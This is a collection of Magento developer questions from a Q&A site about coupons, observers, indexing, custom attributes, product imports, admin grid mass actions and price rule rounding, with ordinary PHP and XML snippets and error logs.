texts: Why Coupon code is not applied to cart programmatically?

texts:
I tried to generate coupon and apply to cart programmatically. With the following script coupon generate successfully but its not applied to cart, Even if tried to apply manually. If I just save this coupon code without any changes in admin panel and then applied to cart its works. I think I am missing something here. (I got this code from here)

$coupon_code = Mage::helper('core')->getRandomString(16);
$frm_date = Mage::getModel('core/date')->date('Y-m-d');
$to_date = date( "Y-m-d", strtotime( "+2 day", strtotime($frm_date) ) );
$data = array(
'product_ids' => null,
'name' => 'AUTO_GENERATION_Coupon',
'description' => null,
'is_active' => 1,
'website_ids' => array(1),
'customer_group_ids' => array(0,1),
'coupon_type' => 2,
'coupon_code' => $coupon_code,
'uses_per_coupon' => 1,
'uses_per_customer' => 1,
'from_date' => $frm_date,
'to_date' => $to_date,
'sort_order' => 100,
'is_advanced' => 1,
'is_rss' => 0,
'conditions' => array(
    '1'=> array(
        'type' => 'salesrule/rule_condition_combine',
        'aggregator' => 'all',
        'value' => 1,
        'new_child' => null
    ),
    '1--1' => array(
        'type' => 'salesrule/rule_condition_address',
        'attribute' => 'base_subtotal_with_discount_without_points',
        'operator' => '>=',
'value' => 100
    )
),
'simple_action' => 'by_percent',
'discount_amount' => $percent_offer,
'discount_qty' => 0,
'discount_step' => 0,
'apply_to_shipping' => 0,
'simple_free_shipping' => 0,
'stop_rules_processing' => 1,
'store_labels' => array('0' => "$percent_offer% Cart below value discount", '1' => "$percent_offer% Cart below value discount")
);
$model = Mage::getModel('salesrule/rule');
$data = $this->_filterDates($data, array('from_date', 'to_date'));
$validateResult = $model->validateData(new Varien_Object($data));
if ($validateResult == true) {

if (isset($data['simple_action']) && $data['simple_action'] == 'by_percent'
        && isset($data['discount_amount'])) {
    $data['discount_amount'] = min(100, $data['discount_amount']);
}

if (isset($data['rule']['conditions'])) {
    $data['conditions'] = $data['rule']['conditions'];
}

if (isset($data['rule']['actions'])) {
    $data['actions'] = $data['rule']['actions'];
}

unset($data['rule']);

$model->loadPost($data);

$model->save();

Mage::getSingleton('checkout/cart')
->getQuote()
->setCouponCode(strlen($coupon_code) ? $coupon_code: '')
->collectTotals()
->save();
}

Please tell me what is missing?


texts: Magento 2: How to add a class to an observer without construct

texts:
I am making this observer class to check if a visitor is logged in.

use Magento\Framework\Event\ObserverInterface;
use Magento\Customer\Model\Session;

class CheckLoginObserver implements ObserverInterface
{
  /**
   * @var \Magento\Customer\Model\Session
   */
  protected $customerSession;

  public function execute(\Magento\Framework\Event\Observer $observer)
  {
    //use $customerSession variable here
    ...
  }

The goal is to use the $customerSession class in the execute function. What's the right way to do that?


texts: How to change category as categories in layered Navigation?

texts:
I want to change the label of Category  text at the layered navigation.Want to change category Label  text Category to  Categories here in the layered navigation but I cannot find where can I do this please help me.

Kindly  see the  screen shot


texts:
After ages I have decided to optimize the images on my store, to do so I have download the media folder and compressed all the images with Caesium leaving the original folder structure.
The first run left the extension unchanged, I have obtained a good file size reduction, but I have also tried to change the extension to see if any improvements can be obtained(if the size is bigger than the original, then the image is skipped): the result was a further reduction of 44Mb.

Now my problem/doubt is how can I upload back all the images and register the extension change? My first guess is to edit the table that stores these information, but I have no idea how the Magento framework store/manage these data. Is it better to avoid this kind of procedure?


texts: How to display something if the condition is true in Magento 2?

texts:
I'm new to magento 2. Correct me If I'm wrong in the title I've made for this thread.

I have a problem in my condition about a specific attribute for a product.
I want to show a content when product attribute promo_banner is set to yes.

Here's my code:

<?php if ( ($parent_category->getParentId() == 40 ) && ($_product->getAttributeText('promo_banner'))) :?>

                        Save when ordering case quantities!! Extra 20% Savings

<?php endif;?>

Thanks,
MazeStricks


texts: "indexer_update_all_views" cron job runs seemingly forever

texts:
We are currently having the problem that the indexer_update_all_views cron job seemingly runs forever - even though there aren't that many entries in the backlog of the indexer.

Last time we let the cron process run for almost 24 hours before killing it manually. For comparison: doing a complete manual indexer:reset and indexer:reindex only takes about 60 to 90 minutes.

Could it be that the indexer_update_all_views somehow gets stuck or deadlocked? There aren't any errors in the logs - and the process simply "never" finishes (which it would if there was an error).

Any ideas?

Magento version: 2.3.2


texts: Inventory- do not want to take sample into account for inventory

texts:
Due to the nature of our business sometimes we have product that is shop worn and we do not want to take into account as a unit in inventory. In this case, we would like the backorder message to be displayed even thought there is 1 unit in stock.
We have tried establishing the Out-of-stock threshold at 1 so Salable Quantity is (Quantity - (Out-of-Stock Threshold)). In this case 1-1=0 to display back order message.
However, the quantity of Out-of-Stock Threshold keeps reverting to zero because it is not compatible with backorders.


texts: How create a block without controller and call it in cms block

texts:
I want to show category and category images for this i have created a module and block code :

namespace Hello\Brand\Block;

class Brandlisting extends \Magento\Framework\View\Element\Template
{
     protected $categoryCollectionFactory;
     public function __construct(
        \Magento\Backend\Block\Template\Context $context,
         \Magento\Catalog\Model\ResourceModel\Category\CollectionFactory $categoryCollectionFactory,
        array $data = []
    )
    {
         $this->categoryCollectionFactory = $categoryCollectionFactory;
        parent::__construct($context, $data);
    }
    public function getDescendants($category, $levels = 2)
    {
        if ((int)$levels < 1) {
            $levels = 1;
        }
        $collection = $this->categoryCollectionFactory->create()
              ->addPathsFilter($category->getPath().'/')
              ->addLevelFilter($category->getLevel() + $levels);
        return $collection;
    }

}

What will be next step ?
How to  call this block in a phtml file to write the html code ?


texts:
im new to magento

I have magento installation ( magento 1.9.1 , MySQL 5.5.40-36.1 , PHP:
5.4.38 , Apache:
2.2.29 ) im unable to reindex my product flat data from the magento backend and  my magento search is also not working.

for the 1st part i have tried all the methods give in this blog
http://webexplorar.com/magento-reindexing-problems-solutions/

have tried doing it by truncating catalog_Product_flat_data and then re indexing it , also tried reindexer script, when i used this script i got this error -

Fatal error: Uncaught exception 'PDOException' with message 'SQLSTATE[HY000]: General error: 1005 Can't create table 'studentb_one.#sql-7ecb_1ea14b6' (errno: 121)' in /home4/studentb/public_html/lib/Zend/Db/Statement/Pdo.php:228
Stack trace: #0 /home4/studentb/public_html/lib/Zend/Db/Statement/Pdo.php(228): PDOStatement->execute(Array)
#1 /home4/studentb/public_html/lib/Varien/Db/Statement/Pdo/Mysql.php(110): Zend_Db_Statement_Pdo->_execute(Array)
#2 /home4/studentb/public_html/app/code/core/Zend/Db/Statement.php(291): Varien_Db_Statement_Pdo_Mysql->_execute(Array)
#3 /home4/studentb/public_html/lib/Zend/Db/Adapter/Abstract.php(480): Zend_Db_Statement->execute(Array)
#4 /home4/studentb/public_html/lib/Zend/Db/Adapter/Pdo/Abstract.php(238): Zend_Db_Adapter_Abstract->query('ALTER TABLE `ca...', Array)
#5 /home4/studentb/public_html/lib/Varien/Db/Adapter/Pdo/Mysql.php(428): Zend_Db_Adapter_Pdo_Abstract->query('ALTER TABLE `ca...', Array)
#6 /home4/studentb/public_html/lib/Varien/Db/Adapter/Pdo/Mysql.php(347): Varien_Db_Adapt in /home4/studentb/public_html/lib/Zend/Db/Statement/Pdo.php on line 228

also have tried switching the search types in the magento backend

have read about the foreign key disable and enable , can that also solve this issue.

please help...

also  want to know what is this error and upon solving this error will the search work properly??

Thanks in advance


texts: Error Navigating to the product category page

texts:
I am facing this error while navigating to the product categories page on Magento 2.4.1
Stacktrace here: https://pastebin.com/SJmEDkrG
StackExchange won't let me paste the stack here as it thinks this is spam.
Can someone please help understand why does this error occurs? I'm kinda new to Magento. I am running the Porto theme on Magento 2.4 installation on AWS EC2 instance.


texts: How to get attribute title form different store view

texts:
I have one attribute for two different product types. That attribute shoudl call 'x' in product type 1 and 'y' in product type 2. I created two different store views so i can name my attribute in two ways. Now how i can display this two different names. Now i'm getting attribute name by

   attr = Mage::getSingleton("eav/config")->getAttribute(Mage_Catalog_Model_Product::ENTITY, $attrCode);

   $attr->getData('frontend_label')


texts: Magento 2: How to change the error/validation message in the customer login page?

texts:
I'm trying to override the error message that shows when a user inserts a wrong password/ wrong email.

  You did not sign in correctly or your account is temporarily disabled.

Where and how i can change it, thank you.


texts:
I have a store in several languages.
When I enter website, an English-language store is displayed. How can I set the main language Polish after open website?


texts: Magento2 - How to add static country code in Phone Number input field?

texts:
I have only one country in country dropdown and I want to add static country code in Phone Number field in shipping and billing address in checkout.

How Can I add this in checkout shipping and billing address?

Question Updated:

I want to add a div before phone number field to manage the static country code like this:-


texts: Magento 2 - How to save custom filed data of registration page?

texts:
Please see this screenshot,

I try with Install Data

<?php

namespace CP\Customerattribute\Setup;

use Magento\Customer\Setup\CustomerSetupFactory;
use Magento\Customer\Model\Customer;
use Magento\Eav\Model\Entity\Attribute\Set as AttributeSet;
use Magento\Eav\Model\Entity\Attribute\SetFactory as AttributeSetFactory;
use Magento\Framework\Setup\InstallDataInterface;
use Magento\Framework\Setup\ModuleContextInterface;
use Magento\Framework\Setup\ModuleDataSetupInterface;

/**
* Install data
* @codeCoverageIgnore
*/
class InstallData implements InstallDataInterface
{
    /**
    * CustomerSetupFactory
    * @var CustomerSetupFactory
    */
    protected $customerSetupFactory;

    /**
    * $attributeSetFactory
    * @var AttributeSetFactory
    */
    private $attributeSetFactory;

    /**
    * initiate object
    * @param CustomerSetupFactory $customerSetupFactory
    * @param AttributeSetFactory $attributeSetFactory
    */
    public function __construct(
        CustomerSetupFactory $customerSetupFactory,
        AttributeSetFactory $attributeSetFactory
    ) {
        $this->customerSetupFactory = $customerSetupFactory;
        $this->attributeSetFactory = $attributeSetFactory;
    }

    /**
    * install data method
    * @param ModuleDataSetupInterface $setup
    * @param ModuleContextInterface $context
    */
    public function install(ModuleDataSetupInterface $setup, ModuleContextInterface $context)
    {
        /** @var CustomerSetup $customerSetup */
        $customerSetup = $this->customerSetupFactory->create(['setup' => $setup]);

        $customerEntity = $customerSetup->getEavConfig()->getEntityType('customer');
        $attributeSetId = $customerEntity->getDefaultAttributeSetId();

        /** @var $attributeSet AttributeSet */
        $attributeSet = $this->attributeSetFactory->create();
        $attributeGroupId = $attributeSet->getDefaultGroupId($attributeSetId);
        /**
        * customer registration form default field mobile number
        */
        $customerSetup->addAttribute(Customer::ENTITY, 'custom_field', [
            'type' => 'varchar',
            'label' => 'ID Documents',
            'input' => 'text',
            'required' => true,
            'visible' => true,
            'user_defined' => true,
            'sort_order' => 1000,
            'position' => 1000,
            'system' => 0,
        ]);
        //add attribute to attribute set
        $attribute = $customerSetup->getEavConfig()->getAttribute(Customer::ENTITY, 'custom_field')->addData([
                'attribute_set_id' => $attributeSetId,
                'attribute_group_id' => $attributeGroupId,
                'used_in_forms' => ['adminhtml_customer', 'customer_account_create'],
          ]);
        $attribute->save();
    }
}**


texts: Automatically Coupon code stop working on front end Magneto 2

texts:
I have used the coupon code before but now automatically Specific Coupon Code stop working on the website

It is generated properly but automatically it stops working

1: I have run all Setup upgrade and deploy command and reindex command after creating cart rule.

2: Tried Putting End date Date different variation But Still got no success

3: One thing I noticed that just red is coming to no text error message as you can see the screenshot

After checking Logs

  [2019-12-17 05:43:03] main.INFO: Broken reference: the 'header'
  element cannot be added as child to 'header.container', because the
  latter doesn't exist [] [] [2019-12-17 05:43:03] main.INFO: Broken
  reference: the 'header.panel.wrapper' element cannot be added as child
  to 'header.container', because the latter doesn't exist [] []
  [2019-12-17 05:43:03] main.INFO: Broken reference: the
  'header-wrapper' element cannot be added as child to
  'header.container', because the latter doesn't exist [] [] [2019-12-17
  05:43:03] main.INFO: Broken reference: the 'navigation.sections'
  element cannot be added as child to 'page.top', because the latter
  doesn't exist [] [] [2019-12-17 05:43:03] main.INFO: Broken reference:
  the 'top.container' element cannot be added as child to 'page.top',
  because the latter doesn't exist [] [] [2019-12-17 05:43:03]
  main.INFO: Broken reference: the 'breadcrumbs' element cannot be added
  as child to 'page.top', because the latter doesn't exist [] []
  [2019-12-17 05:43:03] main.INFO: Broken reference: the
  'catalog.compare.sidebar' element cannot be added as child to
  'sidebar.additional', because the latter doesn't exist [] []
  [2019-12-17 05:43:03] main.INFO: Broken reference: the
  'sale.reorder.sidebar' element cannot be added as child to
  'sidebar.additional', because the latter doesn't exist [] []
  [2019-12-17 05:43:03] main.INFO: Broken reference: the
  'wishlist_sidebar' element cannot be added as child to
  'sidebar.additional', because the latter doesn't exist [] []
  [2019-12-17 05:43:03] main.INFO: Broken reference: the
  'custom.sidebar.content' element cannot be added as child to
  'sidebar.additional', because the latter doesn't exist [] []
  [2019-12-17 05:43:03] main.INFO: Broken reference: the 'header' tries
  to reorder itself towards '', but their parents are different:
  'header.container' and '' respectively. [] [] [2019-12-17 05:43:03]
  main.INFO: Broken reference: the 'header.panel.wrapper' tries to
  reorder itself towards '', but their parents are different:
  'header.container' and '' respectively. [] [] [2019-12-17 05:43:03]
  main.INFO: Broken reference: the 'navigation.sections' tries to
  reorder itself towards '', but their parents are different: 'page.top'
  and '' respectively. [] [] [2019-12-17 05:43:03] main.INFO: Broken
  reference: the 'minicart' tries to reorder itself towards 'logo', but
  their parents are different: 'header-wrapper' and 'header'
  respectively. [] [] [2019-12-17 05:43:03] main.INFO: Broken reference:
  the 'custom.sidebar.content' tries to reorder itself towards '', but
  their parents are different: 'sidebar.additional' and '' respectively.
  [] []  main.INFO: Broken reference: the 'minicart' tries to reorder
  itself towards 'logo', but their parents are different:
  'header-wrapper' and 'header' respectively. [] []


texts: Magento 2 - Custom Attribute Filter - addFieldToFilter

texts:
I'm trying to filter products by a custom attribute, but the addFieldToFilter isn't working. I get an error "Error filtering template: Warning: Illegal string offset 'attribute'"
Where am I going wrong?
$objectManager = \Magento\Framework\App\ObjectManager::getInstance();
$productCollection = $objectManager->create('Magento\Catalog\Model\ResourceModel\Product\Collection');
$productCollection->addFieldToFilter(
                           array('attribute'=>'engine_store_show_on_homepage','eq'=>1)
                       );
$productCollection->load();
echo "<pre>";print_r($productCollection->getData()); //print product collection

I appreciate others have asked the same question, but I don't understand the answers given as they all require a class or module to be created. I'm trying to do this within a template .phtml file.


texts: Import Configurable Product in Magento with all the details in only 1 row per product in CSV file

texts:
I have five hundred configurable products, all of them having five color options and five size options.
In default importing style of magento, I would have to create 26 rows per product in my CSV import file, one row for configurable product and other 25 (1x5x5=25) for simple products.
And for 500 products, creating 26 rows per product will take forever.

Is there any way, by which I could define both configurable and all its simple products in one row only in csv file, instead of 26 rows per product and be able to import into magento.

OR

Can this task be done like that, I create 500 rows for all 500 configurable products and by some excel formula, all the combinations of simple products for all the 500 configurable products be generated in another excel sheet containing the resulted 12500 rows (500x5x5=12500) of simple products?

OR

Any other way you experts can suggest to solve my problem?

P.S.- In Magmi also, I would have to create 25 rows for simple products manually with one configurable products. So, its also not solving my problem.

Basically, I need automation for creation of simple products rows in CSV Files.


texts: Magento 2.3.0 : Adminhtml spreading forms across multiple tabs Doesn't post all fieldset data

texts:
I have created Ui component form with three tab;

  Tab1 and Tab2 are created using
   container and field but Tab3 is using  htmlContent (with Different form) when i save form

It post only Tab1's Fieldset Data.
Question: Why Tab2 data is not post?

Note: same module is working fine on Magento version  2.2.*


texts: Windows separator issue when upgrade Magento from 2.2.5 to 2.3

texts: ERROR: Invalid template file: 'C:/xampp/htdocs/Project/vendor/magento/module-theme/view/frontend/templates/page/js/require_js.phtml' In module: '' block's name: 'require.js'


texts: How to add select box to the product information tab?

texts:
For my custom module when i add select box options as follows its not getting added to the database

'include_in_sitemap'        => array(
                    'type'                       => 'text',
                    'label'                      => 'Include in sitemap',
                    'input'                      => 'select',
                    'required'                   => true,
                    'sort_order'                 => 13,
                    'global'                     => Mage_Catalog_Model_Resource_Eav_Attribute::SCOPE_STORE,
                    'group'                      => 'Meta Information',
                    'source'                     => 'seo/source_sitemap'
                ),

But when i do as follows its getting saved but option value is set with attribute id.

'include_in_sitemap'        => array(
'type'                       => 'text',
'label'                      => 'Include in sitemap',
'input'                      => 'select',
'required'                   => true,
'sort_order'                 => 13,
'global'                     => Mage_Catalog_Model_Resource_Eav_Attribute::SCOPE_STORE,
'group'                      => 'General',
'option'                    =>array(
    'values'    =>array(
    'Auto detect'   =>  'Auto detect',
    'Always include'    =>  'Always include',
    'Never include' =>  'Never include'
    )
)

),

Which is the right way to add and whats wrong with my code?I need options as <option value="text">Text</option>. Is it possible ?


texts: Declaration of Zend\Mvc\Controller\PluginManager Fatal_error on upgrade

texts:
When I'm Trying to upgrade my magento module i'm getting Declaration of Zend\Mvc\Controller\PluginManager Fatal_error

  PHP Fatal error:  Declaration of
  Zend\Mvc\Controller\PluginManager::get($name, ?array $options = NULL)
  must be compatible with
  Zend\ServiceManager\AbstractPluginManager::get($name, $options =
  Array, $usePeeringServiceManagers = true) in
  /var/www/html/Magento/vendor/zendframework/zend-mvc/src/Controller/PluginManager.php
  on line 211

Help Me to resolve this


texts: Bundle product - how to display simple product attributes on list.phtml and view.phtml

texts:
In M1.9.3, we use bundle products with 1 combination of 2 simple products to create products.
How can I display simple product's custom attributes on list.phtml and view.phtml for the bundle products?


texts: Magento 2 Css and images are not loading in production mode

texts:
I've have changed mode from developer to production,then cleared cache,deployed but css and images are not showing . Image's status is 404 and stylesheet's Refused to apply style from because its MIME type ('text/html') is not a supported stylesheet MIME type, and strict MIME checking is enabled.

what should i do? Searched a lot but not didnt get any good result :(


texts:
I am new to Magento, but and an experienced developer. I am setting up Magento for my own storefront. We sell antique maps. Some of these maps are sold on consignment from local dealers. We have a retail store and online ecommerce site, but are transitioning to Magento.

Direct question: What is the best way to track products sold on consignment? On the back end, I will need to know who the consignor is and what commission rate he/she earns on the sale. Is this possible in Magento through an existing extension or configuring a sales rep type extension to meet our needs?


texts:
I'm currently experiencing a great issue on my site. I've encountered it in two separate ways but with the exact same result.

I've installed an extension, but when I try to remove it the site is
destroyed and I can't see the backend (or sometimes I can see only text) and frontend gets messy (see image).
I went to Payment methods > Bank
transfer > instructions and changed some of the text, but the site was compromised in the same way as stated before.

I've created a duplicate of my site and deployed it on a subdomain for testing, but I couldn't reproduce the error. I'm using a copy of the same database and of the same folders, so every problem should be here as well - right?

I've asked my server provider and it isn't a permissions issue. They've told me that the problem (for the payment methods) is that once the changes are saved the link is modified with no " / " at the end. For this reason they've told me that the issue is with my Magento installation. However, the error is not reproduced on the test site, as stated.

What's going on here?!

EDIT: I've forgot to state that my site is currently fine, I've restored an old backup, anyway the problem remains if one of this two things are done.


texts:
I am trying to below model in my extension. But unfortunately it is not overridden.
Please check class path which I want to overwrite :

Paymentnetwork_Pnsofortueberweisung_Model_Service_Communication
{
}

For above model I tried below code in my extension's config.xml,

<global>
<models>
    <pnsofortueberweisung>
        <rewrite>
        <service_communication>Mycompany_Myextension_Model_Service_Communication</service_communication>
        </rewrite>
    </pnsofortueberweisung>
</models>
</global>

I also tried

<paymentnetwork_pnsofortueberweisung>

instead of

<pnsofortueberweisung>

Any help is appreciated.
Thanks in advance.

config.xml important code of "Paymentnetwork_Pnsofortueberweisung"

 <config>
 <global>
    <models>
        <sofort>
         <class>Paymentnetwork_Pnsofortueberweisung_Model</class>
        </sofort>
    </models>
   <events>
        <sales_model_service_quote_submit_success>
            <observers>
                <paymentnetwork_pnsofortueberweisung_observer>
                    <type>model</type>
                    <class>Paymentnetwork_Pnsofortueberweisung_Model_Observer</class>
                    <method>refillBasket</method>
                </paymentnetwork_pnsofortueberweisung_observer>
            </observers>
        </sales_model_service_quote_submit_success>
    </events>
</global>
<frontend>
    <routers>
        <pisofort>
            <use>standard</use>
            <args>
             <module>Paymentnetwork_Pnsofortueberweisung</module>
                <frontName>pisofort</frontName>
            </args>
        </pisofort>
    </routers>
</frontend>
</config>


texts: Setting data in a multi dimensional array

texts:
All classes that extend Varien_Object in Magento 1 and Magento\Framework\Object in Magento 2 have a method called getData. All of us used it.
If the $_data member var is a multidimensional array we can access the data from any level through a single call of getData.
Example:

$_data = array(
    'a' => array(
        'a1' => array(
            a11' => 'valA'
        ),
        'a2' => 'valA2'
     ),
     'b' => 'valB'
)

so calling $obj->getData('a') will return

array(
    'a1' => array(
        a11' => 'valA'
    ),
    'a2' => 'valA2'
);

calling $obj->getData('a/a1') will return

array(
    a11' => 'valA'
)

calling $obj->getData('a/a1/a11') will return valA.
You get the point.

Is there a similar way of setting data for a specific path or do I have to do it myself?

I mean  $obj->setData('a/a1/a11', 'something') results in

$_data['a/a1/a11'] = 'something'

I need something that will translate into

$_data['a']['a1']['a11'] = 'something';

It can be something from Magento 1 or Magento 2. It's not really important.
I will accept also an answer like "this is not possible out of the box" but from a trusted source only. (read "core dev").


texts: Conditionally load js based on cms static block type

texts:
What I want to achieve: I want a local js file included in the <head> only when a particular static block type is called.

Example: When "gallery/view" block type is called like so, {{block type="gallery/view" name="catalog.gallery" template="catalog/category/category-gallery.phtml"}}, I want gallery.js to load.

The issue: I believe the layout xml has already been processed before magento renders static blocks. So I don't think I can add to the <head> from within the Namespace_Gallery_Block_View class.

Obviously I could just add gallery.js via local.xml on every page but the entire point of this is to limit filesize and only call the resources that are absolutely needed per page.

Additionally, I want to use js combination so i have to actually update the layout somehow.

Does anyone have an alternate method or idea to get this working in this manner? I'm not sure if what I want do is actually possible.


texts: how to write a custom REST API call to get all order related data in magento 2.3.2


texts: Uncaught SyntaxError: Unexpected token '{'

texts: Everything looks fine with this small piece of code as shown in the screenshot. Yet, I am getting the syntax error around {. Please tell me what might be causing it?


texts: billing.save(); shipping.save(); functions override in Magento

texts:
I need to override billing.save(); & shipping.save();  functions but I don't know in which files they have their declarations in Magento.

I am new in Magento directory.

Can you please help me?


texts: Sub Category - Load By Attribute (name) URL issue, how to resolve?

texts:
Mage::getModel('catalog/category')->loadByAttribute('name', $val)->getUrl();

The above code won't work correctly in my PHP code when I have multiple categories & sub-categories with the same displayed name Eg. Ford > 2400 and Hyundai > 2400. It provides an incorrect URL for one of the categories under the same name (2400).

How can I resolve this? How else can I load my category attribute for it to be accurate to it's URL value?


texts:
I am attempting to echo out a message associated with a specific key in an array. I am getting undefined index and I cannot figure out why. My code is below:

RocketSnail Dynamic Template Editor

Here you can edit which shipping type should take priority, as well as what message will show.

<?php
$messagesArray = (array) Mage::helper('GOED_RocketSnail')->readFromJson(Mage::getBaseDir('var').'/RocketSnail/typeandmessage.json');
$selectedShipType = $_GET['shiptype'];
$selectedMessage = $messagesArray[$selectedShipType];
foreach($messagesArray as $shipType => $message){
    echo "".$shipType."";
    echo "
";
}
Mage::log($selectedMessage);
//Mage::log($selectedShipType);
//var_dump($messagesArray);
if(array_key_exists("16677", $messagesArray)){
    echo "Exists! String!";
}
if(array_key_exists(16677, $messagesArray)){
    echo "Exists! Int!";
}
if(array_key_exists(0, $messagesArray)){
    echo "Exists! What?!?";
}
echo $selectedMessage;
?>

readFromJson simply reads from a Json file and returns whatever the file contains. If I var_dump($messagesArray), I get:

array(17) { ["16677"]=> string(4) "Here" ["31842"]=> string(2) "Is" ["16672"]=> string(1) "A" ["16673"]=> string(7) "Message" ["16674"]=> string(3) "For" ["16675"]=> string(4) "Each" ["16676"]=> string(8) "Possible" ["28492"]=> string(13) "Shipping_Type" ["26028"]=> string(2) "On" ["26319"]=> string(4) "Each" ["8066"]=> string(8) "Possible" ["8067"]=> string(4) "Item" ["34003"]=> string(2) "So" ["34002"]=> string(2) "We" ["51572"]=> string(3) "Can" ["25020"]=> string(6) "Change" ["25019"]=> string(7) "Content" }

When I log my $_GET request I have

  2016-05-31T14:37:59+00:00 DEBUG (7): 16677

BUT! When I log $selectedMessage, I get

  2016-05-31T14:40:49+00:00 ERR (3): Notice: Undefined index:   in /var/www/html/app/design/adminhtml/default/desktop/template/goed/RocketSnailFilter.phtml on line 6

I'm stumped on this one. Any help is appreciated!


texts:
I am using this code to show a image of a product attribute "brand image"

<?php
$brand = $_product->getAttributeText('brand');
$brandImage = str_replace(' ', '_', $brand) . ".jpg";
$brandLink = strtolower(str_replace(' ', '-', $brand)) . ".html";
$brandBaseUrl = Mage::getBaseUrl() . '/shop-by-brand/';
?>
<a href="<?php echo $brandBaseUrl . $brandLink; ?>" title="<?php echo $brand; ?>">
    <img src="<?php echo $this->getSkinUrl("images/media/" . $brandImage); ?>" alt="<?php echo $brand; ?>" />

how could i call text from a html file or a text file named "brand.html or brand.txt brand being which ever brand it is set to like the image it calls above


texts: Add WHERE with IN and OR to a product collection

texts:
I want to add something like WHERE (table1.attrib1 IN (1,2,3) OR table2.attrib2 IN (1,2,3)) to a product collection to which I have already joined a couple of tables.

I tried this, but it doesn't work because it took '1,2,3' as one string (that is, did not put them in brackets after IN). How can I use WHERE?

$productCollection->getSelect()->join(array('table1' => $table1), 'e.entity_id = table1.entity_id', array('my_attribute1' => 'table1.value'))->join(array('table2' => $table2), 'e.entity_id = table2.entity_id', array('my_attribute2' => 'table2.value'))->where('table1.attrib1 IN ? OR table2.attrib2 IN ? ', '1,2,3')


texts: Magento2 how to add configurable product to cart programmatically

texts: Magento2 how to add the configurable product to cart programmatically. I searched but found question related to how add simple product mostly.


texts:
I would like to change fonts on menu categories (Home  Shop  Lookbook)  and having a hard time finding the color in html.

http://siteground121.com/~mataano2/index.php/

Thank you.


texts: Need pass dynamic url param value in massAction url of ui-component grid

texts:
I have a massAction on a admin grid which need to pass URL parameter coming on the grid page like

  http://ashish.local/admin/package_module/rsvp/index/event_id/21/key/e964d1eb362b02a9d6b3bf1281e5401966e71fb2b1fbb644b67db08f8aeef673/

I need to pass the dynamic param event_id value as like 21 but dynamic as like coming URL of the grid

As I can pass <param name="event_id">*</param> then how to pass the url event_id to the ui-component massAction.
The * in the param is not converting to dynamic url as like below code of datasource of my grid

<dataSource name="rsvp_listing_data_source">
    <argument name="dataProvider" xsi:type="configurableObject">
        <argument name="class" xsi:type="string">Package\Module\Ui\Component\RsvpDataProvider</argument>
        <argument name="name" xsi:type="string">rsvp_listing_data_source</argument>
        <argument name="primaryFieldName" xsi:type="string">event_rsvp_id</argument>
        <argument name="requestFieldName" xsi:type="string">id</argument>
        <argument name="data" xsi:type="array">
            <item name="config" xsi:type="array">
                <item name="update_url" xsi:type="url" path="mui/index/render"/>
                <item name="filter_url_params" xsi:type="array">
                    <item name="event_id" xsi:type="string">*</item>
                    <item name="status" xsi:type="string">1,0</item><!-- 1 = RSVP confirm -->
                </item>
            </item>
        </argument>
    </argument>
    <argument name="data" xsi:type="array">
        <item name="js_config" xsi:type="array">
            <item name="component" xsi:type="string">Magento_Ui/js/grid/provider</item>
        </item>
    </argument>
</dataSource>

Please help

Find below code for massAction:

<action name="confirm">
    <argument name="data" xsi:type="array">
        <item name="config" xsi:type="array">
            <item name="type" xsi:type="string">confirm</item>
            <item name="label" xsi:type="string" translate="true">Confirm All</item>
            <item name="url" xsi:type="url" path="omnyfy_events/rsvp/massConfirm">
                <param name="event_id">*</param>
            </item>
            <item name="confirm" xsi:type="array">
                <item name="title" xsi:type="string" translate="true">Confirm events RSVP</item>
                <item name="message" xsi:type="string" translate="true">Are you sure you want to confirm selected events RSVP?</item>
            </item>
        </item>
    </argument
</action>

For reference please check below link:
http://devdocs.magento.com/guides/v2.0/ui-components/ui-secondary-treemass.html

Here they have used static id in <param name="status">2</param> I need to fill this param with grid url param value dynamically.


texts: Catalog Price Rule - discount issue (possible rounding problem?)

texts:
SOLVED - see edit below

I have a Product where the Price is £14.99. I have applied a Catalog Price Rule 50% off and the new price is showing as £7.00. I would expect it to be £7.49/£7.50.

If I knock the Price attr up to £15.00 and reapply the rule, the new special price is £7.50 as expected (so I don't think there is another rule conflicting). For other products where the Price starts at XX.00, these are being discounted as expected.

If I change the Price for this product to £13.99, then the special price is still £7.00. This is expected as 13.99 / 2 = 6.995.

Another product has a Price of £9.99 and is being discounted to £5.00 which is fine (due to rounding 4.995, I guess), but I don't understand why the £14.99 product is not behaving as expected, but the £9.99 is.

I have tried another product priced at £14.99 and this is also being discounted to £7.00.

Does anyone know why this would be happening? I'm confused. I've never noticed this before in Magento. It seems to be happening for every even number at .99:

15.00 -> 7.50 (correct)

14.99 -> 7.00 (wrong)

14.50 -> 7.00 (wrong)

13.99 -> 7.00 (correct)

13.00 -> 6.50 (correct)

12.99 -> 6.00 (wrong)

11.99 -> 6.00 (correct)

10.99 -> 5.00 (wrong)

9.99 -> 5.00 (correct)

Thanks

I am using Magento CE 1.9.2.4
We have Amasty Special Promotions module installed too, but I think this only affects Shopping Cart Rules?

EDIT See 1.9.2 Catalogue Price Rules rounding (when more then one rule applied with 'Stop further rules..') - this seems to be a bug with Magento 1.9.2.4, corrected in 1.9.3.1.


texts: I need custom sorting based on position and best seller

texts:
On product listing page I required new option in sort by section of tool bar .
It will display product collection in following manner
first it display the product which has position greater than one
and remaining product based on most sold out.

Can anyone please  guide me ?


texts: How to use mage-ci tool to build matrix for CI?

texts:
I was looking for a better way to install and test Magento modules and I found here an entry point: Test magento module using mage-ci

I need further information on:

How to build such Matrix for CI as used by EcomDev Team?
How to use the build script mentioned in the link above?

I could comment the answer of Ivan Chepurnyi but I think that need more details in a dedicated answer.


texts: Magento 2 - Product sorting issue on category page using product attribute

texts:
I made product attribute and assign it on of attribute set so that it will show in the admin product detail page. Based on this product attribute I sort the product collection on category page.

The problem is, I set the Catalog Input Type for Store Owner to Text field. I will have to set the numeric value against each product in order to sort the product collection based on this attribute. It works fine from 1-9 but when I increase the count more than 9 like 10, 11 etc it destroy the sorting. It may be because field type is not number type

Any help, experience and knowledge sharing would be appreciated.


texts: products became "out of stock" after update from 2.0.7 to 2.1.0

texts:
After updating from 2.0.7 to 2.1.0 all the products in catalog became "out of stock". That's how they displaying in my bestseller widget (pic.1).

But in admin panel they always have positive quantity (pic.2), so they have to be "in stock".

And, of course, they are invisible at frontend catalog (pic.3).

Why is that so and how to fix that?

UPD: Only when I'm adding a new product it appears at catalog, but no changes with already existed catalog products.

Pic.1

Pic.2

Pic.3


texts: Magento2: How to debug out of stock notification not working?

texts:
I'm using the Luma theme in Magento 2.3.3, my other transactional emails are working properly. I've no idea how to start debugging it.

How could I start debugging this issue and what to consider?


